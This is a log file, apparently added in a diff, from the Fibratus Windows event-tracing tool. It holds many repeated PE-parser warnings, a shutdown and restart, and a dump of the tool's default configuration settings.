+time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:43:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:43:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:44:00+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:44:00+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:44:01+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:45:20+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:45:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:45:20+01:00 level=info msg=bootstrapping with pid 17644. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:45:20+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>true] eventlog=>[ enabled=>true verbose=>false] mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + kstream ........................ [ enable-net=>true enable-thread=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[] images=>[]] enable-registry=>true enable-handle=>false stack-enrichment=>true enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-image=>true max-buffers=>36 enable-mem=>true buffer-size=>512 enable-dns=>true] + logging ........................ [ formatter=>text max-age=>0 level=>info max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s index-name=>fibratus trace-log=>false healthcheck-interval=>10s template-name=>fibratus healthcheck=>true sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 gzip-compression=>false enabled=>false] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false] console=>[ enabled=>true format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}] amqp=>[ enabled=>false durable=>false url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s passive=>false exchange=>fibratus delivery-mode=>transient routing-key=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] alert-template=>[] alert-via=>mail scan-timeout=>10s enabled=>false excluded-procs=>[] skip-files=>true fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:45:21+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:45:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:45:23+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:45:23+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:45:23+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:28+01:00 